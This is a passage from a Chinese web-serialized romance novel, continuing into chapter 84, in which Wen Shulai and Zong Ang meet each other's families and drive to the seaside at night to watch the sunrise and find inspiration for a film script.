又被按个罪名,温纾莱懵里懵懂:“我又怎么啦?” “莫念琪想找我说话就说话,你不阻止就算了跑得还那么快。”宗昂语带嘲讽:“这么大度我是不是该给你颁个奖?” “也行。”温纾莱点头:“那我这一晚上就拿两个奖了。” 宗昂闭了闭眼,温纾莱的嘴估计需要他缝起来,他以前怎么没发觉温纾莱能这么气人。 温纾莱适可而止,解开安全带探身过去亲了亲他:“别生气了,我是因为放心你,相信你才敢答应她的。” 她说:“而且她喜欢的是你,你惹出来的桃花你去解决有什么不对吗?” 宗昂被噎住,有那么点理亏,还有那么点歉疚,源头还真就是他。 他差点就要反向跟温纾莱道歉。 “那你怎么都、也不问我和她都说了些什么?” 温纾莱笃定:“你肯定会主动告诉我啊。” 她那么胸有成竹,宗昂就坏心要吊她胃口:“哦,那我这次不告诉你了。” “?”温纾莱说:“那你最好能憋住。” 宗昂当然憋不住,到家后他就和盘托出,不过是在浴室里把温纾莱抵在墙上时才转述给她。那会儿温纾莱被他撞的都神智不清,就听个大概,过后什么印象都没有。 记忆最深的是宗昂逼着她说了很多遍爱他。【你现在阅读的是 】 第 84 章《正式开始》 第84章 第 84 章 《正式开始》…… 宗穆川的下一部电影《花样人生》开拍在即, 在此之前,温纾莱带宗昂回家吃了顿饭。 他们二人重归于好,马燕珍和温广宏乐见其成, 杂七杂八的一概没问, 只叮嘱他们以后都要好好的, 遇事商量着来,有分歧也不要紧, 慢慢解决但是不要头脑一热就说一些类似分开的话, 感情都是需要经营磨合的。 显然两位长辈将他们当年分手的症因归结为一言不合的冲动。 温纾莱回想一番,记忆里的舅舅舅妈虽然总是在吵架,不过好像从未提过“离婚”的字眼。 也是因为舅舅舅妈吵架的缘由是柴米油盐, 不涉及雷区。 而他们那时也的确年少轻狂。 在舅舅舅妈家吃完饭的第二天, 宗昂就领温纾莱回他家见了人。 虽然都没有明确表示过, 但彼此都在双方家里露过脸, 就是要定下来的意思。 宗昂的爷爷疼爱宗昂不比宗霖少, 他是那种典型的老一辈男性, 不会表达对孙子充沛的喜爱,且宗昂从小就随莉娅去意大利,别说爷孙俩,就是宗昂和宗穆川这对亲父子见面次数都屈指可数。 所以相处起来总会有些朦胧不清的隔阂。 宗昂的奶奶在宗昂还未出生就因病离世, 宗霖的妈妈生他难产离开, 宗昂的父母又离了婚, 一大家子全是男性, 温纾莱是桌上仅有的女孩。 一顿饭吃得有点幽默的诡异。 温纾莱和宗昂还好, 对方陪伴在侧,任何场面都是洒洒水。 宗霖就吃得抓耳挠腮,宗爷爷看不惯他, 问他是不是屁股上长倒刺了这么坐不住。 宗霖心直口快说早知道家里一个女的都没有,他就带个女朋友回来,好歹拉一下这失调的阴阳比例。 宗爷爷即刻甩他一拐杖,说他敢把他那些不三不四的女伴带回家他就嘎嘣一下死在他面前。 宗霖作为家里的第一个孩子,一帆风顺活了二十多年,爷疼爸爱小叔宠,一朝败在风流韵事上,惹得家里三位长辈对他眼睛不是眼睛鼻子不是鼻子,风光岁月再不复存在。 宗爷爷和奶奶互为初恋,十七岁就互订终身,同舟共济五十多年,情比金坚。宗昂的大伯也就是宗霖他爸,在他妈死后封心锁爱,宗穆川离婚后有过两段也都是正儿八经的交往。 尤其现在宗昂也是,谈个女朋友从一而终,整个一他的正面例子,爷爷教训他的时候都会带着宗昂跟他比较。 全家就他一个浪荡玩意儿。 宗霖没办法定顶撞长辈,但他可以发泄在始作俑者身上,没事就怪声怪气地骚扰宗昂,宗昂念着他帮自己照顾过温纾莱的份上忍让他几次,后来宗霖不懂点到为止,宗昂烦得骂了他一顿,还去爷爷那里告了他一状,气得爷爷把宗霖抓回老宅闭门思过了两天。 堂兄弟俩本就不甚牢固的关系就又崩盘了。 可能他们天生就是对家,不适合友好只适合敌对- 《花样人生》开机前三天,宗昂在收拾他和温纾莱进组的一应行李,温纾莱坐在客厅,吃着他洗好的水果翻阅剧本。 《花样人生》讲述的是贫困县区出身的女人一步步在大城市打拼立足的故事,先去云贵那边取景,再回北京拍摄,这两处是主场地,期间也会有海边的戏份。 剧本早已在宗穆川那儿通过,可温纾莱总觉得有一处女主凌晨时分在海边游荡的情节缺点味道,她想改却无从下手。 萎靡地趴在茶几上,装订成册的剧本一下一下拍着脑袋。 宗昂从卧室里出来客厅拿东西,就见温纾莱一副思路堵塞苦大仇深的模样。 他站过去,拿开她“自虐”的工具:“怎么了?” 温纾莱侧过脸跟他诉说她的苦恼,脸颊遭到挤压,压成圆饼。 她也会有流露出孩子气一面的时候,每当这一刻到来,她和宗昂的身份就会无形中互换,宗昂即成为她的主心骨。 宗昂翻了翻手里的剧本,蹲下身捏捏温纾莱的脸:“现在十二点半,临榆不远,开车两个多小时,去不去?” 温纾莱瞪大眼:“这么晚?” 宗昂笑:“你不是没灵感,我带你去找。” 宗昂是个实干型的行动派,说走就走,他和温纾莱衣服都没换,就穿着在家里的居家款,走前打包一小份零食给温纾莱留着路上吃。 这并不是一个要历经千辛万苦才能做到的事情,但却是一场疯狂的短途旅行。 宗昂总是能打破温纾莱拥有着一套既定系统世界里的传统规则。 夜晚车少,高速一路畅通,抵达临榆是凌晨三点零几分。 海边风大,宗昂车里常备外套,从后排拿过一件给温纾莱穿好。 深夜的海边寂寥又神秘,浪花翻腾,循环往复地拍打着岸边。 温纾莱和宗昂手牵着手,赤脚踩在柔软的沙滩上,留下两串相互依傍的脚印。 已经置身在海边,温纾莱依然有种难以置信的不真实感:“我还是第一次凌晨来海边。” 两人找了处礁石坐下。 宗昂圈着她的肩膀,又得意上:“跟我在一起,多得是让你新奇的体验。” 温纾莱小翻个白眼,倒也没反驳他。 是事实,宗昂经常能带给她新鲜感。 她是他单调人生中的调味剂。 恋爱怎么会和谁谈都一样,和别人在一起她只能吃清粥淡饭,和宗昂她能品尝到山珍海味。 温纾莱问:“你就不怕来了这里我也找不到灵感,白跑一趟吗?” “这有什么好怕的,你能找到灵感最好,找不到这就是我们两个新增的共同回忆。”宗昂是个极富浪漫主义情怀的人:“在我们决定奔赴的那一秒起,结果就不再重要了,重要的是行驶在这段路上的感受。” 他宽慰温纾莱,拍拍她的头顶:“你不要给自己太大压力。” 温纾莱后仰躲开:“你怎么像在拍宠物一样。” “是吗,我感觉我更像是你养的宠物。”宗昂上半身歪向温纾莱怀里:“每天都在想着讨好你,该怎么做才能让温纾莱更爱我一点。” 温纾莱垂眸,掌心抚在他耳际,指腹拨弄他的睫毛:“我已经很爱你了。” 宗昂没说话,只视线转移到她嘴唇。 温纾莱会意,勾着碎发低下头亲他。 宗昂的手掌上抬,扣在她脑后,将她更为紧密的压向自己。 温纾莱不会知道他对她的独占欲有多强劲,他自己也探不到底,有时他都觉得自己几近病态地贪恋着她。 只有在她身边,他的病情才能得以稳定。 舌尖缠绕,津液交换。 凌晨时分的空旷海边,他们接了个缠绵悱恻的吻。 温纾莱不如宗昂能熬,没多会儿就犯起困,宗昂说那就回去,温纾莱摇头。 “回车里睡一会儿吧,这就开回去你好累的。” 宗昂又说:“那我们还能看个日出再走。” 还看日出,宗昂真是太过抬举她,她现在眼皮子发黏,能当场给他表演一个一秒入睡。 但许是宗昂的这句话在她脑海里留下了个痕迹,回车上后温纾莱睡得很沉,却又在一个多小时后,日出将至时脱离睡梦,睁眼醒来。 这是他们共看的第二个日出,一望无垠的海岸线染成赤红的金色,波光粼粼的海面跳跃着耀眼的水晶。 车内小声放着一首歌。 宗昂枕在方向盘上一直在看她。 温纾莱撑坐起身:“怎么听得粤语歌?” 是他们二人都听不惯的类型。 “随机播放的。”宗昂调大些音量,恰好到某一个音律节点,他说:“歌词写的不错。” 温纾莱凝神倾听。 —— 恋爱征兆, 在相识头一秒, 知道自己找到了。【你现在阅读的是 】